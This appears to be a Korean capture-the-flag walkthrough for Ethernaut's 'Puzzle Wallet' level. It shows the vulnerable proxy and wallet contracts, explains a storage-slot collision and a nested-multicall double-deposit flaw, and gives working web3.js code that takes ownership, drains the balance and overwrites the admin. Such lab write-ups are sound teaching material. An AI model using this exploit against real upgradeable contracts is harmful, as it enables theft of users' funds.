Ethernaut: 24. 퍼즐 지갑

Play the level

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;

import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/proxy/UpgradeableProxy.sol";

contract PuzzleProxy is UpgradeableProxy {
  address public pendingAdmin;
  address public admin;

  constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) public {
    admin = _admin;
  }

  modifier onlyAdmin {
    require(msg.sender == admin, "Caller is not the admin");
    _;
  }

  function proposeNewAdmin(address _newAdmin) external {
    pendingAdmin = _newAdmin;
  }

  function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
    require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
    admin = pendingAdmin;
  }

  function upgradeTo(address _newImplementation) external onlyAdmin {
    _upgradeTo(_newImplementation);
  }
}

contract PuzzleWallet {
  using SafeMath for uint256;
  address public owner;
  uint256 public maxBalance;
  mapping(address => bool) public whitelisted;
  mapping(address => uint256) public balances;

  function init(uint256 _maxBalance) public {
    require(maxBalance == 0, "Already initialized");
    maxBalance = _maxBalance;
    owner = msg.sender;
  }

  modifier onlyWhitelisted {
    require(whitelisted[msg.sender], "Not whitelisted");
    _;
  }

  function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
    require(address(this).balance == 0, "Contract balance is not 0");
    maxBalance = _maxBalance;
  }

  function addToWhitelist(address addr) external {
    require(msg.sender == owner, "Not the owner");
    whitelisted[addr] = true;
  }

  function deposit() external payable onlyWhitelisted {
    require(address(this).balance <= maxBalance, "Max balance reached");
    balances[msg.sender] = balances[msg.sender].add(msg.value);
  }

  function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
    require(balances[msg.sender] >= value, "Insufficient balance");
    balances[msg.sender] = balances[msg.sender].sub(value);
    (bool success, ) = to.call{ value: value }(data);
    require(success, "Execution failed");
  }

  function multicall(bytes[] calldata data) external payable onlyWhitelisted {
    bool depositCalled = false;
    for (uint256 i = 0; i < data.length; i++) {
      bytes memory _data = data[i];
      bytes4 selector;
      assembly {
        selector := mload(add(_data, 32))
      }
      if (selector == this.deposit.selector) {
        require(!depositCalled, "Deposit can only be called once");
        // Protect against reusing msg.value
        depositCalled = true;
      }
      (bool success, ) = address(this).delegatecall(data[i]);
      require(success, "Error while delegating call");
    }
  }
}


여기에서 사용 중인 업그레이드 가능한 프록시 구현이 있습니다. Proxies은 로직과 메인 컨트랙트 사이의 일종의 중개자로서, 메인 컨트랙트에 해당 로직을 작성하여 업그레이드할 수 없는 대신 다른 컨트랙트에 작성하고 프록시 포인트를 만듭니다. 이렇게 하면 해당 논리에 업데이트가 필요한 경우 새 계약을 만들고 프록시를 지정합니다. delegatecall를 사용하여 이를 구현하는데, delegatecall를 함부로 사용하면 생활이 만만치 않다는 것을 지금쯤은 아셔야 합니다!

스토리지 충돌



가장 먼저 알 수 있는 것은 프록시와 논리 사이에 저장소 충돌이 있다는 것입니다.


슬롯
대리
논리


0pendingAdminowner
1adminmaxBalance
2
whitelisted (지도)


balances (지도)


이 익스플로잇을 염두에 두고 옵션을 살펴보겠습니다.
  • 논리가 maxBalance에 쓰면 프록시에서 admin를 덮어씁니다. 그것은 게임에서 승리하기 위한 좋은 공격 벡터인 것 같습니다.
  • maxBalance를 업데이트하려면 지갑 잔액이 0이어야 하고 msg.sender가 화이트리스트에 있어야 합니다.
  • 지갑 잔액이 0이 되려면 어떻게든 비워야 합니다.
  • 화이트리스트에 추가되려면 addToWhitelistowner에 의해 호출되어야 합니다.
  • 하지만 프록시에서 ownerpendingAdmin와 충돌했고 proposeAdmin를 통해 덮어쓸 수 있습니다! 소유자가 된 후 화이트리스트에 자신을 추가할 수 있습니다.

  • 지갑 비우기



    지금까지는 계획이 괜찮아 보이지만 한 가지가 빠져 있습니다. 지갑을 어떻게 비울까요? 우리가 소유자이자 허용 목록에 있다고 가정하고 우리가 무엇을 가지고 있는지 봅시다.
  • deposit 기능을 사용하면 maxBalance를 초과하지 않는 한 입금할 수 있습니다.
  • execute 기능을 사용하면 잔액 내에 있는 일부 값을 가진 모든 주소에서 기능을 수행할 수 있습니다call. 통화 데이터와 목적지 주소가 없으면 withdraw 기능처럼 작동합니다.
  • multicall 기능을 사용하면 단일 트랜잭션에서 위의 두 항목을 여러 번 호출할 수 있습니다. 이 기능은 기본적으로 전체 계약의 주요 아이디어입니다.
  • multicall 함수는 부울 플래그를 통해 deposit에 대한 이중 지출을 확인합니다. 그러나 이 플래그는 하나만 작동합니다multicall! multicall 내에서 multicall를 호출하는 경우 우회할 수 있습니다. delegatecallmsg.value를 전달하므로 잔액보다 더 많은 돈을 넣을 수 있습니다.

    공격



    먼저 owner가 되어 화이트리스트를 만들어 봅시다. 콘솔 내에서 우리는 PuzzleWallet 객체를 통해서만 논리 계약( contract )에 노출되지만 모든 것은 프록시를 먼저 통과합니다. calldata를 수동으로 제공하여 함수를 호출할 수 있습니다.

    const functionSelector = '0xa6376746'; // proposeNewAdmin(address)
    await web3.eth.sendTransaction({
      from: player,
      to: contract.address,
      data: web3.utils.encodePacked(functionSelector, web3.utils.padLeft(player, 64))
    })
    // confirm that it worked
    if (player == (await contract.owner())) {
      // whitelist ourselves
      await contract.addToWhitelist(player)
    }
    


    다음 단계는 계약 잔액을 소진하는 것입니다. await getBalance(contract.address)를 통해 총 잔액을 확인하면 0.001가 표시됩니다. 따라서 어떻게든 이중 지출로 0.001를 두 번 입금하면 계약에서는 총 잔액이 0.003라고 생각하지만 실제로는 0.002가 됩니다. 그러면 잔액만 인출할 수 있고 계약 잔액이 소진됩니다.

    다음은 multicall s를 배열하는 방법에 대한 스키마입니다.

    // let 'b' denote balance of contract
    // call with {value: b}
    multicall:[
      deposit(), 
      multicall:[
        deposit() // double spending!
      ],
      execute(player, 2 * b, []) // drain contract
    ]
    


    이 스키마에 대한 실제 코드 작성:

    // contract balance
    const _b = web3.utils.toWei(await getBalance(contract.address))
    // 2 times contract balance
    const _2b = web3.utils.toBN(_b).add(web3.utils.toBN(_b))
    await contract.multicall([
      // first deposit
      (await contract.methods["deposit()"].request()).data,
      // multicall for the second deposit
      (await contract.methods["multicall(bytes[])"].request([
        // second deposit
        (await contract.methods["deposit()"].request()).data
      ])).data,
      // withdraw via execute
      (await contract.methods["execute(address,uint256,bytes)"].request(player, _2b, [])).data
    ],
    {value: _b})
    

    multicall 덕분에 단일 트랜잭션에서도 공격이 실행됩니다 :) 이후 await getBalance(contract.address)를 통해 계약 잔액이 현재 0임을 확인할 수 있습니다.

    다음 단계인 setMaxBalance를 호출할 준비가 되었습니다. 여기에 보내는 값은 admin 값을 덮어쓰므로 주소를 uint256로 변환하고 이 함수를 호출합니다.

    await contract.setMaxBalance(web3.utils.hexToNumberString(player))
    // see that admin value is overwritten
    await web3.eth.getStorageAt(contract.address, 1)
    


    그게 다야!

    좋은 웹페이지 즐겨찾기